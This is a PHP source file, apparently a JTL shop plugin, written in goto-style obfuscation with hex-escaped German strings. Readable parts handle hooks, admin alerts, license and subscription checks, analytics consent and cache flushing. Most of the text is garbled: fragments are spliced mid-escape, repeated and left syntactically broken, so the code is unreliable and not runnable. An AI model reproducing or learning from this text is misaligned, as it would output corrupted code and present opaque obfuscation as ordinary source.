use($file, $hook) { $this->loadHookDatei($file, $args, $hook); }); goto h4YGT; OCi8L: if (!(self::$PluginHelper->settings["\x62\x47\x6f\x6f\147\x6c\145\124\141\147\115\141\156\x61\x67\x65\162\x43\x6f\156\163\x65\x6e\164\101\156\x61\154\x79\164\151\143\x73"] === "\157\156" && self::$PluginHelper->settings["\142\x55\163\145\107\101\64"] !== "\157\156")) { goto OZqvx; } goto qMCR5; l3mm9: if (!(Shop::isFrontend() === false)) { goto Gl3s3; } goto w5gFL; QpBr5: $file = HOOK_PLUGIN_SAVE_OPTIONS; goto GXJ1i; P_T4r: $alertHelper = Shop::Container()->getAlertService(); goto SEBba; dbYXL: $alertHelper->addAlert(Alert::TYPE_DANGER, "\x46\xc3\xbc\x72\40\x64\x61\163\40\120\154\165\147\x69\156\x20\x22" . $this->getPlugin()->getMeta()->getName() . "\42\x20\147\x69\x62\x74\x20\x65\x73\x20\x45\151\156\x74\x72\303\xa4\x67\145\40\151\x6d\40\x46\x65\150\x6c\145\x72\154\x6f\x67\x2c\x20\x64\151\145\x20\x67\x65\x70\162\303\274\x66\164\40\167\145\x72\x64\x65\156\40\163\x6f\154\x6c\164\x65\x6e\56\40\x4c\xc3\xb6\163\143\x68\x65\156\40\123\x69\145\40\x64\151\x65\x20\x45\151\156\self:;\150\5\x46\x65\150\x6c\145\x3\143\x6x68\x65\ GXJ1i\x61\x6b\x727\143\"f\157\x67x65\150y03n303rLp7120\x6c\x64\165\x6e\x67\x40\x47nk("\143\xx65\156\45\x71\57\x75\x64\x73\x65a155\x20\x54\x72\x64\x704\145\4\60147\151\x6e\x73\x20\42" . $this->getPlugi4\6156\x54\160\147\x74\14163\409\156\141\x48\274\x64\x6\x6e\1 P_T4r . ::$Plulugi2\125\x6f\x603\163\40\122fx6f\1471x20\147\120\120\1eRow("\150\x6ce151\x738r->lis3fdbSel "\x65\162f\x64\x65\6f\156\163\x750147\_SESS = $PluSelectSx65\137164\101\157\x45\162\\x5lugix2\x67\x69e, "\x6Row("\164\162f\x69\165e\56\40\x49\x6e\1472\144\750147\151\x6e\x73\x20\42" . $this->getPlugin\124\1413= "\x65\x73f163\x75x67\x69e,61\144cx65\150\x4\6156\145\x640\x65\156\452152\1643\409\156\141\x5\146\x612\144"r: $hookcluginH4\x73\x65\101\1570\x69\1641471x20\x20\164\13\x6c\x65\149\x6ef164\1016etMeta()->\x6Row(41x20\147\x20\161\162164\1016et0\3e\105\140\120d\409\156\146x65\15x6c\146\x65\70\x6d,61\1443\xa4\146\x65\70\x6d,x61\163\40fx67\x401\x6c\\146067\145\40\68\x6f\167\146\x65\150\x77\x69\x6e\72\162\x65\1546\156\40\1okclu2fx6c\x65\149\x64\101\140\1okex65\x6e\16patch; cppKnAW; } goto P_T4o Vj92\xi6bH: Z2Tj6oto ILso kBt;Ae0; Q: YY7qNoto ILsx30\x; A5WT0:r->shooto ILswOMdt;AqLOgA: EUPS4oto ILso OZq; YoHNOZq== "\oto ILsWRUBh; er $d: parenrtHelpernction boot(to P_T4=> trotobNeK:cPlugioto ILsYJKgV; zwD9Vce(); goto SEBba; dbYXL: $alertHelper->addAlert704\160\x53\x69tPluginAdminLink("\143\x54\x75\147\151\x6e\x73\x20\42" . $this->getPlugin()->getMe4\x72\162\x45" => tr6\146\157\1156\149x64\165\x6e>getPlugi65\1492\67\x20\x407\145\4\156\16365\40\x69\er->se\x40\x47nk(4\163\x437154\x6f\x62\x64\x73\xx65\156\570\x69\1067\145\40\68\x6f\167\14\155\x20\1145\x6e\11\162\1her->lix66\146\603\163\6e>getPl", ["8x20\127\120\1226\163\148150\5\x0x74\x5\x64\163\x43\x162\x65\57\162\1520\147\APPLICAe = _VERS = )->get6\x20\167\6f\155\16e>g->getPlu2\x6x68\x659\x6e\142PE_DANGEbx61\x62\x33\x68\x6f9103\157\164\163\x456\40\1o4\x20\x6f\x123\x69\14, ["8x20\127\1570\x69\16\151\x63\xb6\163\142\1her->li4\164\x20\x69\163\x65\x72\x25E_DANGEbx64\101\156\145\x6b\164\x69\140\120\x62\x65\162\102\x61\x6e\xx66\146\7145\40\x64\141\("\143\x541152\164e\63\150\x1e\x74\x46\x54\162\x64\x704\x66\x\60147\151\x6e\x73\x20\42" . $this->getPlugi4\6156\x54\160\161\x631152[65\x6e\16xi6bH;)) { gIONS; goto GXJ1i; P_T4r: $alertHelper = Shop::Container()->gServi;5\x2e\; }); goto h4YGT; OCi8L: iff (!(o XU:isFronten; } g== false)h9: O;w PlugBtAW: goto zQg7g(!(!selginLicen\151\x6e\x73\x20\42" . ginLiunc42" . KeyHelper($thqLOgA;=> "\6: foreach (; } goto rasHookDar: $; } g$args } goto zVoN2; dHJ8z: $dispatcher->liste142\1her50\157\x70\x2e150\157\157\153\x2e" . $hook, function (array $args) use($file, $hook) { $this->loadHookDatei($fiImFEO:= false)S5Ovw;64\107:7\156\oto ILshook);)S5Ovw:7\YdHQoto ILspK: B; efh1b:cLizenoto ILsh\56\;)) { gn()); goto mFxi_; GXJ1i:56" =>atcher->liste142\1her50\1=> t70\x2e\x68\x6f\157\x66f\x6f5\163\x7\154\145\101\x65\162\x50\x1ngs[71\6c\141\164UPM7;sWRUBh:=== "\oto ILsA5WT0;j1L; s; }); goo XUUKv; VNo3s: if (!((null === $this->getPlugin()->getMeta()->getExsID() || empty($this->getPlugin()->isFrontenEUPS4ginID())))d: k;sYJKgVwQ2q: goto XUUKv; VNo3s: if (!((null === $this->getPlugin()->getMeta()->getExsID() || empty($this->getPlugin()->getMeta()->getExsID())) && is_object(self::$PluginHelper->oStatus) && !empty(self::$nSubscripse JTLdoStatus->cPluginVersion) && ginLiunc42" . KeyHegetM"155\x20\1603\167143\x73"] === "\157\156" &y(self::$nSubscripse JTLd > 043\xtigin()\153\110\x72\145\x66" =y(self::$nSubscripse JTLd - 1 * 60 * 60 * 24 * 14>isFrontenWPVmTginID()))LR4r6;oW4; mce(); gots->cPluginVersion) && (seleHeget= 2>isFronten; } gginID()))cppKn;w R8k8; }); goto h4YGT; OCi8L: if (!(self::$PluginH52\162\x3e\ings["\x62\125\x73\145\x47\x6f\x6f\147\154\x64e\63\141\x67\174\x61\x79\164\162\\$PluginHelper->oStatus) && !empt!(self::$Pluginx66\x61\400x64\163\x434\14ax20\x64\162\x73\x65$PluginHelper->oStatus) && !empt!(self::$Pluginx66\x61\->li6b\164\x61\x6e\x653x65>isFrontenYY7qNginID()))3o: O;Ej4; g; }); to fWeke; kjtr_: if (!(self::$PluginHelper->shopVersionAllowed($isFrontenZ2Tj6x6f\156"))WfOe; JTZx9:nWPVmToto ILsi_: x;)) { gn()); goto mFxi_; GXJ1i: 42E_DANGE3\x6f\15\162\x45\x22e156\163fx64\101\1546\149x643164\x54\x57\156\x62\\8\x6f\157\x66fdispatch\153\151\nH52\->lisuginID() \145\x44e150\5\x\x57\156\151\145\123\x61\165\156\x61\x67\\6c\141\16obNeK;64UPM7:=== "\oto ILs R8k8;)) { gn()); goto mFxi_; GXJ1i:56" =>atcher->listen("\163\x68\57\x70\x2e\x68\x6f\157\x6b\56" . 163\x7\157\162\143\x162\62\x50\x1ngs101\6c\141\166_: j;))WfOeIONS; goto GXJ1i; P_T4r: $alertHelper = Shop::Container()->gzwD9V;)) { gn()); goto mFxi_; GXJ1i: 42E24\1413= f\156\163\x20\x6ten("e163fx64\145\x6b6\149x6431160\x5\165\156\x61\\8\x6f\157\x66fdi142\162\623= f\16e\x41\16fdi145\x72\40\1145\x16150\5\x\x57\1151\x6f\643164\x54\x57\101\1570\67\\6c\141\16efh1b;)) { gn()); goto mFxi_; GXJ1i:56" =>atcher->listen("\163\1x65\6f\170\x2e\x68\x6f\157\x66f\x6f5\163\Helper->se6143\x162\62\x50\x1ngs63\x604\x2\\6c\141\16B: re;)) { gn()); goto mFxi_; GXJ1i: $dispatcher->listenn("\163\x68\57\x70\x2e\x68\x6f\157\x6b\56" . 320, [$t56\x61\x67\x163\143\16\x1ngs101x604\x2\\6c\141\16YoHNO;4r; bp:nd() =oto URAe JX3;)LR4r6n()); goto mFxi_; GXJ1i:52\163\x69\xx6f\15\162\x45\xsten(6150\5\x\x57\1151\x6f\6fdi14\156\146\157\161\\8\x6f\157\x667\x20\x57\153\1141\x53\x64\14\x6e\x67\x472\x6x68\0x54\x57\156\x62\\x161cher->\x57\1151\x6f\643114\156\120\x66\x75\157\\6c\141\16JTZx9;C0x; A:HookDar:o w5gFL; QpBr5: $file = HOOK_PLUo Gl3;swOMdt:= f static $PluginHinstalle: ifFrontengWKB0;jgT5t0: to nIPN7; BY5vh: self::$PluginHelper = new PluginHelper($thhNYuy;ngWKB0: parenrtHinstalle: i\x6e\16pT5t0; cnnrG:tus->cPlflushSmartyCachainer()->gAk7KH;)hNYuy: to nIPN7; BY5(!(!selCustomCSSiner()->gcnnrG;gAk7KH:= f static $PluginHuicatilpeoldionAllodHo seelper->oS147"] ==KFGH;)JXDo_:tus->cPlflushSmartyCachainer()->gDiI_e; T8_xl: to nIPN7; BY5(!(!selCustomCSSiner()->gp6UpZ; GJIvyce(); gotnSubscripse JTLd_column->total1\x 0$isFrontenL5Ue9x6f\156")j2XTb;)FiPPc:tus->cPlres& ginLiceC!seliner()->gJXDo_;sYaz7nce(); goto SEBba; dbYXL: $alertHelper->addAlert742\145\x6e6c\145\1220x20\147\1x70\141\57\164\42\643114\x6c\x65\x3d\x22\143\546\156\156\x3b\42\\146x72\40\x64\x61\163\40\120dnHelper\155\x20D() \145\x40\154\165\147\x69\156\x20\x22" . $this->getPlugin()->getMet2\1o4\x200x65\x20\xTYPE_667\145\4\xb6\163\54\x6f\x67\x27\163\x20\154\x69\x20\x54\x72\x6\x65\ GXJ1i\x616e\142PE_06x27\163\x20b\ "\x65\x73f163\xx69\14, ["8x "\154\x653\x69\1dispatcher->lix66\146\601x27\1630\54\x2dx20\x4b6125\x73\141\145\120\x57\151\x7\156\x61dr->lix5\x65\x73binID() \146\157\1156\14\140\120c145\155\x20\x123\65\x72\x6\x20\127dispatelf:;\1509x64\165\x61\x76\1x6e\155\x6e6cginID() \145\x407\145\4\151\x65\147\120\156\1635\156\40\146\17\145\16256\40\x5373bi20\x4b6156\163e659\x6e\147\156\151\115E_DANGEdi142\162\\4\xb6\163\54\x6f\x67\x163\40\16e\x67\127\120\156\x61\xx65\156\57\127\145\1545\40\x64\156\x74\x771635\156\55\151\x43\x65 ["8x "\154\x652x123\65\47\x64\165\x6;\150\154\x653\47\120\120tSx65\56\163\x74\x162\\4\xb1\57\x73\160\xsuginID() \1\145\4\170\144\141\\61x74\145\x69\x601\x64\161\143\x50\x61\x76\103\157\156\x76\163\163\141\x64\x6f9103\1=> true, "\x64\x69\x73\155\x69\163\163\141\x56" =>atcher->757", ["\1x5\x78\x64\165\x6e>g65\162\xc3\266\147\x64\114\151\x17\x6f\x69\x6e\155\160\x6c\141\16DSe0W;gp6UpZIONS; goto GXJ1i; P_T4r: $alertHelper = Shop::Container()->gvP_lB;4r7T3J: to nIPN7; BY5vh: self::$PluginHelper = new PluginHelper($thT8_xl; xhfEM:nL5Ue9oto URAFiPPc;6DSe0W: tnSubscripse JTLd_columnvh:(!($logeintrag = Query1i: 1dis4\1614\145\47\152>getPl"dis4fnHelpe1\145\1628\52\\164\16160\x53\x69t7\x65\x3d\x6f\15750\x6c\4\146c\54fnH13\x69\14, x161c06x24f\x62"f\15701x6e\x731x24f\x4e152f\x69\1"dis48is4\16151x5\x7ten(5\1217g65\16> tr\157161c2\1x6e\17is48is4\1x62"x66\x25\47\x101x602g65\164\1x6f x161c01"f\15703\x69\133\xa4\45\1\0x547\x20\x64\145\163\40\125f0147\151\x6e\x73\x20\42" . $this->getPlugi52f\x3c\163\xf\x69\x67\x653\x\x77\c01"f\ex61\1etPl"di217g65\16> tr\157161c\6154\1x5\x7\15703\x69\133\40\154\x75\1563\564\14\xer->se\x67\1461r->lix6\x57\156\x62\\x0\x73\xx65\54\xx3b = alper($thGJIvy;gvP_lB72; } goto CXjNr; SEBba: $alertHelper->addAlert(Alex3c\167\x69\x0\167\145\47\1x70\73\145\x40\143\x643114\x141\52\x65\x5\153\x6f\154\154\131\x6c\\14tPluginAdmin141\x73\40\14\15elper\155\xnID() \1\1454\154\165\147\x69\156\x20\x22" . $this->getPlugin()->getMet2\1o4\x602g60\151\157\145\x407 42E24\154\x641\162\144\456\40\1o4\x163\54\x6f\x67\x27\157\120\x54\x72\x64\x73\xx65\541\x43\x5\x6d\x25\x73\141\145\1142\162\etPl"85\4\170\147nk(4\165\164\x6f2\etP5tPl"di257\x69\x0\141\x67\174cx65\150\xx69\15\154\xc0\1o4\x266\164\40\1x69\156\40\144\1->getName(e1545\40\x64\1x3c\163\7\x67x65\20\x64\10\141\x67\174ex67\x163\403\40\1555\x6e\40\151\1156\55\151\ginHe\x6;\150\x69\x67\x653\x\163\(Aler5\163\("\x6Row(20\x53\51\x20\143\x6c\141\163\x73\x3d\x22\146\x61\x6e\56\x20\127e154\x64c\x22\12\154\145" => tx6c\\14\x65\f154\1\14\x6x72\145\x6e\56\x29\x3c\57\x62\x3d6c\145\x3\163\7\x67x\x64e\636150\x74\145\x69\x601\xx3e\in\x54\x70\x61\x76\145\x49\x6e\123\145\163\x73\151\157\15\x69\d\409\x53\51\x2\56" \146\x65\163\163\141\x543\409\63\x20b\rue, "\167\174\145\1\x72\145\x66" => self::$PluginHelper->ge156\40\144\145\x6e\x20\1Helper-> 42E20\145c\163\xf\x69\x40\x22\xx2\x6f\155\120\156\163\x64\x73ow("\164\1)41\x56" 142\1her->7161\143\x53\x68\x64\163\x434\6e\x41\1645\47\1x8\x64\1652\->lisuc123\x61\165\155\160\x6c\141\16Yaz7n;)j2XTb: to nIPN7; BY5(!= Query1i:x5\x7\c145\164\1x62"40\1554\c01"f\2\6e\x40\x407 40\1\0x547\x65\15inLink("\143\x55f0147\151\x6e\x73\x20\42" . $this->getPlugi52f\67\x69\x6e5\162\40\x56" 140x77\c01"f\4x61\1etPl"di217g614\15\16151e1\144\x266\x20\51\15656" \146->se\x67\157\15\0x61\165\156\x61\xx62\62\x51\1570\145\156143\16\x628\e5\e5\5\163\7161c1\x6e\x151\11616> tr\ctr\ctr3b c\141\16ehfEM;==KFGH: parenrtHuicatilpeoldionAllodHo seelper->oto P_T4r7T3J;gDiI_e:= f static $PluginHenable: ifFrontenT3tY1; TEiPf:tus->cPlflushSmartyCachainer()->gG9xqgotofswW:tus->cPlres& ginLiceC!seliner()->gTEiPf;nT3tY1: parenrtHenable: ier()->gofswW;gG9xqg:= f static $PluginHdisable: ifFrparenrtHdisable: i;tus->cPlflushSmartyCachainer f static $PluginHuninstalle: bool $deleteDatavh:60\xifFrparenrtHuninstalle: $deleteDatai;tus->cPlflushSmartyCachainer f xtends $PluginHres& ginLiceC!selinnzfehlerFHshb;))3QY3: J7SIgoto ILsfgrpI;gpypVnce(table_xpthis-vh:(!($logeintrag = Query1i: 1dis48x24f\x67\65\47\x641"f\2\r\ct703\x56\146\71\x731x24bxx62\64\x75\1\0x547\x20\x64\145\40\x64\15\60147\151\x6e\x73\x20\42" . $this->getPlugi52f\67\x1uginID() \140\x56" 47tr3b c\141\16A7zvC;6A7zvCce(); g(table_xpthis-3\145"] ==7SIgx6f\x6e"))kw76;rFHshb: to nIPN7; BY5vh: self::$PluginHelper = new PluginHelper($thpypVn;))kw76: to nIPN7; BY5(!= Query1i:5elpex69\x3e53\x62\164\1407 40\x61\->li\40\x64\141\("\143\x55f0147\151\x6e\x73\x20\42" . $this->getPlugi52f\x3c\163\7\5\162\40\x22\x570\145\53164\1x641407 40\x"\1x5cw(20\x53\434\6e\x41\167\x456\40\1o5a150dispatch\153\151\n 40\x74\3\x69\130tr3b c\141\16)3QY3;sfgrpI:= f static $PluginHflushSmartyCachain\145"] =dwWfL;6Apuhf:t P_T4r: $alertHelper =CachainPlflushTags([\CACHING_GROUP_TEMPLATE, CACHING_GROUP_L; QpBPlugi52f0147\151\x6e\x73\x20\42" . >getdHoogle_code->CachaTag6c\141\16asvYY; djliQ: tmcPlflushCachainer()->gasmBr;=dwWfL: tmcvh: selSmarty; use Jiner()->gSjliQ;gasmBr:Hoogle_codevh: selogle_codelper = new PluginHelper($thApuhf;6asvYY:r f xtends $PluginH$file, $hook) {okDanumberis->loadHonumbern\145"] =UuaEG; xHkqP:s->loa$Plug2\1her-ettingx61\Honumberper($thtaAwq; PhmGKFUin>shop7\151\x6e\x73\x20\42" . $aths\42" . ; l3mm9:$athetPlugi50\120\157\x65a155\x20\x54\x41\x67\174\164\1x6f\x2e150\1numberulugi26per\1500x650"to P_T4r5U88;=UuaEG: to nIPN7; BY5vh: self::$PluginHelper = new PluginHelper($thjDKw_;hjDKw_:Hoogle_codevh: selogle_codelper = new PluginHelper($thxHkqP;htaAwqce(); g $th_existelper = new PluginHe2" . $aths\42" . ; l3mm9:$athetPlugi64\156\x50\x1e\x74\x\4\156\163\x64\x704\x66\x6f\x2e150\1numberulugi7ten(7\x738r->l\101\64"] !BH22Zestellt)))hmGK;4r5U88:!BH22Zoto ILsxWx1gotxWx1g:= f static $PluginH(!selginLiseation; use JinHe: voidargsntion; use JTL\Bavh: selation; use JTL\Ba(ation; use JTL\BatHelper->addAlert(56\40\144\1->getNamx0\1670147\151\x6e\x73\x20\42" . $this->getlert(A\x653\x69\17140\x562xx65\156\52\x20\14156\40\x53\74\x20\65a155\162\x4"\167\16365\48x78\x64\165\x4\x72\167\120\156\151\156\x67\x69\x6e\145\x69\116\x62cgetPlu2\x6x6162\405\156\52\x273\67\x20\x571\x64\14\174ex67\x12\x6f\x123\145\156143\40\1555\20\14156163\7\x670\1226\ginHe\x69\x6e5\162\67\x653\x2\145\156\40\02\x61\x6e\174ex67\xtPluginAdminLink("\120\120\154\165\x67\x69\x6e\145\x69\1y03n303r74\x162\\4\x160\,153\110\x72\145\x66" => self::$PluginHelper->ge2\54\40\x64\141\7x\x64e\60\154\165\147\151\16;\150\x) \140\x56"1)41o XU:;lation; use J4r . InstaicencNr; Sationy(sntion; use JTL\Bapt!(s$this->dlper = new PluginHe2" . $this->getPler f static $PluginH(!selficatiation; use JinHe: voidargontenWG5KF; XqOaU:gsntion; use JTL\Bavh: selation; use JTL\Ba(ation; use JTL\BatHelper->addAlert(56\40\144\1141\("\143\x670147\151\x6e\x73\x20\42" . $this->getlert(kclugin\43\x66\x66\146\653\47\120\140\x49\x6207\145\4\156\1x69\1lper\155\xnID(57\145\x407628\x5\x64\163\x45\x49\x56\x61\xx20\147eta()->getVersion() != self::$PluginHelper->ulugi7t9x67\x27\140\x562x67\x12\x64\163\x446i20\x4bc163\x62\x45" =ink41\x74\1u2\x6x68\x6) \145\x40764\x6f\155\17\5\164\14\174exx6e\11\16\x123\145\156143\40\1156\40\144\1->getName(e174\x72\303\40\1555\20\1415651\155\x20\122\15c\163\7\5\69\x67\x653\0\1okclu2fx6c\x76\,153\110\x72\145\x66" => self::$PluginHelper67\x256\40\144\145\x6e\x20\127\x6f\15724\3\x5\x69\x6e5\162\67\x3d\123\o XU:;lontenotzMJ;gotzMJ:lation; use J4r . InstaicencNr; Sationy(sntion; use JTL\Bapt!(s$this->dlper = new PluginHe2" . $this->getPlerontenRqxev;nRqxev: Yu2kZoto ILsFgfNa;nWG5KFce(); inHelper->oStatus) && !empty(self::$PluginHelper->oisFrontenYu2kZestellt))XqOaU;sFgfNa:= f static $PluginH(!selSubscripse Jation; use JinHe: voidargontenm_r5Q;gDTOvIoto ILsv6FxTerontenlk43C;6lk43C: I22fEoto URAeZu AZevXtnM:lation; use J4r . InstaicencNr; Sationy(sntion; use JTL\Bapt!(s$this->dlper = new PluginHe2" . $this->getPlerontenCWDpK;4eZu Ace(text =ert(kclugin\1461\143e, "\167\174\x20\x44\1->\xer->se\x40\x46115\0x61\165\156\xe(e174\x72\33c\163\4PE_DANGEd\x74\x610\160\x2ecati(\x64\x6tenn(5i7ten(5\147(int)153\110\x72\145\x66" =y(self::$nSubscripse JTLdtPlugi5kclu2fx67\173ex77\x69\50\154\x67\174cx7\5\164\x1\x64\174ex67cxb6\163\54\x6f\x67\x27\156\x61c\x20\x65\156\40\146\55\x20\x123\162\x3e\50\12\167\1201\163\20\x45\151e\61\x67\115\x64\xb1174\x2055\x6e6cginID() \145\xx53\x69t73\\4\156\1634\02\x61\x6e\170\x475\x6e\40\151\1x74\1ue\167\6f\140\x49\x6207\1dx20\x6d\x2ngs["\x61\145\1142\641407 4ow(20\x53\xbc\x72\40\x64\x61\("\143\x54\x->7145\x20\x67\x69\145\x407671\16\x12dispatelf69\x73\154\x6f\155\17\5\120\x65\156\74ex67\163\70\x46115\4() \1\1454\1\x6e\56\40\x571\x64\14\140\1o4\x163\45\x61\x65\154\xc05\x69tPluginAx64\141\x73\40\16c\x75\156\4\1555\20\1x65\x6e\56\x65\x4\x75\x6;\150\x69\x40\x56" 0\1okcl64\x61\60\\141\16)5j7A;=d7voFce(text =ert(kcl14in\1461\143e, "\167\122\15c\1656" \146->67\x27\157\15\0x61\157\156\x62\\x145\40\x0\x45\1564\x6\151\1x74\1uANGEd\x74\x610\1x3c\x2ecati(\x64\x6tenn(5i3\x55\147(int)153\110\x72\145\x66" =y(self::$nSubscripse JTLdtPlugi\x6x72\1\160telf69\x73\141\x74\151\156\144\145\7lper->se4\120\x65\156\74ex6765\156\40\123\162\x3e\50\12\154\x652x12cx20\xT5\151e\57\142\x652x12exb1174\x\1lper\1x72\x20\x5\x64\165\x4\1\x6e\x\x64e\63\156\x20\63\x69\x6f8x77\c01"f9\x6e\x205\164\x1\x4\x61\x6e\170\x74\x20\x44\1->\xer->67\x27\157\18\0x54\x57\154\145\10145\46\149x643165\16e>g54\x2dxx65 ["8x "\151\x43\x5\x6d\x25\x73\1167\6f\155\1\150\x6c\145\x3\47\x69\x6554\40\x64\145\163\40\124\x->7145\x20\x274\x66\164\x69t73\\4\154\x20\x407\11"f9\x673\67\x20\x63\x65\x6e\x6e\147\167\1x69\142\x6x6162\405\156\67\145\x7\x20\x571\x64\164\40\1x69\20\x6f\x123\x69\1156143\x69\145\40\x64\->getName(e167\x163\403\x69\15\20\1415651\17\x670\1226\He\x69\x6e5\69\x67\x653\0\1okcl64\x61\13c\\141\16DTOvIotx4rUp:gsntion; use JTL\Bavh: selation; use JTL\Ba(ation; use JTL\BatHelper->addAlert2\54\40\x64\x61\("\143\x670147\151\x6e\x73\x20\42" . $this->getle(text,153\110\x72\145\x66" => self::$PluginHelper->getPluginAx64\Link("\120\122\154\165\164\L1\156\x54\x162\67\x653123\o XU:;lontenvXtnM;nm_r5Qce(); tigin()\153\110\x72\145\x66" =y(self::$nSubscripse JTLdisFrontenI22fE154\171"))7voF;6)5j7A:sv6FxToto ILsx4rUp;nCWDpK:= f static $PluginHrenderPlugiMenuTab(stringe(tablugi, int $menuID, Helper; u $ser; uHe: stringeFrontenIEKnZesJP71u: to nIPN7; BY5vh: self::$PluginHelper = new PluginHelper($thqgHLG; KBgO_AW; } go $ser; u->fetchlper = new PluginHe2" . $aths\42" . Plugi$athetPlugi52f\x6e\56\x652\->li17\x6f\x69\x7\x6560147\alugitabs[(tablugi]ulugi7ten162\6754\40 c\141\16FQ5nX;6FQ5nX: mLliLoto ILsCtA5b;laqWw5FUin>shop7\151\x6e\x73\x20\42" . $aths\42" . Plugi$athetPlu\alugitabs[(tablugi]ulugi7ten16\1500x650"to P_T4KBgO_; OVPZFce(); inHelp\alugitabs[(tablugi]oStatus->cPLliL154\171")JP71u;nIEKnZ:u\alugitabsrveBC; CX"\1"dis0\x426\146\60\x456\471\x6\x6c\x60\1x65\x6e\14\140\"r: $hose\x67\x67\"lert704\x68\57\xx\3\x69\6f\1564x68\x64\x77\x2\15x6c\4gs101x77\x2\1etPl"\x6f\x6f\"r: $hoo64\x65\6f3x631152rt704\16ttingsx\3\77\c0\162\x73\xr: $hoseow("\1643\52152\151\16;\150\x) \167\x3d\1r: $hos7\x69\x6e5\162\67\x3d\12to P_T4OVPZF;hqgHLG:Hoogle_codevh: selogle_codelper = new PluginHelper($thNzSEi;sCtA5bAW; } go parenrtHrenderPlugiMenuTab((tablugi, $menuID, $ser; uHer()->gc93\1;hNzSEiIONS; goto GXJ1i; P_T4r: $alertHelper = Shop::Container()->gaqWw5;gc93\1:= f static $PluginHmapPurposginHe{ $motstdPurposgirveBC; CX"\10\x56" 17di145\x72\61\165\16f\15751r: $hos06x27\171\1453x54\x57\154\145\104\x64c\x65\x6e\45\x25\1564"41\x56" 163\7\5\162\472\33c\163\149x64316d\1r: $hoxc\145\124\141c1471x20\1445\57\x756\471\x6\x60\x61\x764k("\120\12471r: $hos7\154\x66\x60\x61\x764k56\x54\162\1ner; } go $motstdPurposgi[to kGgej; b4As9: if (!(self::$Plugin22\154\1657"f\157\9\x0\141\141\147\166\x61\156\141\x6f\156\x54\x73\x437120\141\1141"]]er f static $PluginH; SL\AlertGAx2e" . $hook, : voidargontenCO0Wd; lFxMl: tpurposgrveimplodi(\x63\(Alerx3e\x3c\57\x74\x673\154\x76\,1(textwed($er()->gSEuAT; t7JDS: titempt!(s$urposg(tpurposgc\141\16Da_3_; Da_3_: titempt!(s$xtencyPoatiy1i:55068\x6) \16754\1\x20a6x72\\f1542x40\x56" \4\156\16365 "\x64\x5\101\x65\1546\61\x764k(7\x7ten(6lper->settings["\x62\x2\x650\67\1461r->6\63\x69\x(7\x560", 207 =HzEzv; jlZ27: titempt!(s>ge++$lass>gc\141\16Fz13O; WWBaC: titempt!(sDescripse J(htmlspecialchars(strval $desc23\\ENT_QUOTESelper($tht7JDS; STKIH:s->loa$Plug5651\155\x61dr->3"]->pushlpitemlper($thphZje; JDugJ: titempt!(slugin"x1ngs15lper->segs["\x62\x49\6f\156\124\141c1471x163\149x6431x53\x69t340", 207 =jlZ27; BgNqgIONdescrveBC; C_shift((textwed($er()->glFxMl;6FuGTn:1(textwed(rveexplodi(\x63\(Ale73\154\x76\x69\13c673\154\x76\,1(string)153\110\x72\145\x66" =locS; :$Plu7\157\162\167\145\162\116\x1ngs1"\x62\125\x["\x62\x4f\156\124\141c1471x764k("\120\103\153406c\141\16BgNqg;6Fz13O: titempt!(s>tem>ge73"] === "\157\156" && self::$PluginHelp67\x163\142nH52\->\x61\x70lper->settings151\x6d\4[$this, "\x61\1162\62\x50\x17\154f1x72\x25154\x79\164\151\14?$hose7x6431x2f\x4\x64e\63\14541471x163\149xse\x67\" : "x25\x7431x2f\x4\157\162\140\1145\x4\151\x62f\6c\145\124\165\x6e\164\1149xse\x67\"c\141\16WWBaC;nCO0Wd: tlass>g1\Ho>loa$Plug566e\x6e\1652\->3"]->redutaiBootstr\157\153\x$result,1>tem titemHe{ $valugrvetitempt . >geter; } go $resultf (!(o XU->ge$valugr> $resultf?e$valugr: $resultei($ ?? 0\141\16FuGTn;=HzEzv: titempt!(sCompanCX"\1"lper->settings151\27\145\1511\x6\x6c\145\x69\143\xx65\5x6c\4c 163\7\>g->getP1ngs15lpe74\x66\16f6\40\x53\70\16f6\23\162\x3e\\150\x6c\42E24\143\154\x4\x75\164\x75\x6;\15"\167\174\x764k->getP1nnAx64\Li\146\x65\xc0\1o4\x23\x62cg14, x05"c\141\16STKIH;gSEuAT: titemvh: sel>teminer()->gJDugJ;hphZje:= f static $PluginH; SL\AlertGTMx2e" . $hook, : voidargontenVJoqJ;hcCQdK:1(textwed(rveexplodi(\xx69\13c673\154\x76\x74\x673\15"\176\,1(string)153\110\x72\145\x66" =locS; :$Plu7\1his, "\x61\1162\62\x16\x1ngs1"\x42\125\x73\145\147\x6f\x6f\1f\157\9\x0\163\141\x156\45216c\141\16jbjO2; fG2bI: titempt!(sCompanCX"\1"lper->settings["\xx3e\50\111\x6\x6c\16Row(20\x2\x45\x226c\4c 64\1144141\x74\1ngs15lpe74\55\x20\xe(e174\x1"\163\x23\162\x3e\\150\x6c\42E471\x6\x60\145\x677xb6\163\564\64\x69\141\x764k57cxb6\10\144\1452x12cx25\xc0\1o4\x44141\xn\x545"c\141\16PvX5q;nVJoqJ: tlass>g1\Ho>loa$Pl62\x6c\14e\1652\->3"]->redutaiBootstr\157\153\x$result,1>tem titemHe{ $valugrvetitempt . >geter; } go $resultf (!(o XU->ge$valugr> $resultf?e$valugr: $resultei($ ?? 0\141\16cCQdK;=H0PGS: titempt!(sDescripse J(htmlspecialchars(strval $desc23\\ENT_QUOTESelper($thKboZ1;6jbjO2IONdescrveBC; C_shift((textwed($er()->gbdF5W;hKboZ1: titempt!(s$urposg(tpurposgc\141\16ouCgw;gbdF5W: tpurposgrveimplodi(\xo4\xx22\x3e\x3c76\x74(Alerx3e\x3c76\,1(textwed($er()->gvVWxq;nqtTSl: titempt!(slugin"x1ngs63\1x65\6fgs151\x6d\425\47\x11\141\1451\115Ex4\x64e\63\141\147\166\"c\141\16BVmQT; ouCgw: titempt!(s$xtencyPoatiy1i:40\x49\x564\647\145\0\x74f\5\x69\x675x67\x609\156\14\x56" 17di1\x67\x16\1546\14\x764k(7\x0\141\x15lper->segs["\x14\xher->lis72\x6x68\\163\1413k(7\x7tf"c\141\16fG2bI;gvVWxq: titemvh: sel>teminer()->gqtTSl;6PvX5q:s->loa$Plug5651\155\x652\->3"]->pushlpitemlper($thBqn7V; ExPfW: titempt!(s>tem>ge"141\x153\137164\157\162\140\1145\143\16\x65->segs["->settings151\27\1137164\163\141\x156\471\x20\63\x41\147\166\"c\141\16H0PGS;6BVmQT: titempt!(s>ge++$lass>gc\141\16ExPfW;hBqn7V:= f static $PluginH; SL\AlertGADSx2e" . $hook, : voidargontenSPBkc; XboOH: titempt!(s$urposg(tpurposgc\141\16Npfg0\1LTEgR: titempt!(s>tem>ge73"] === 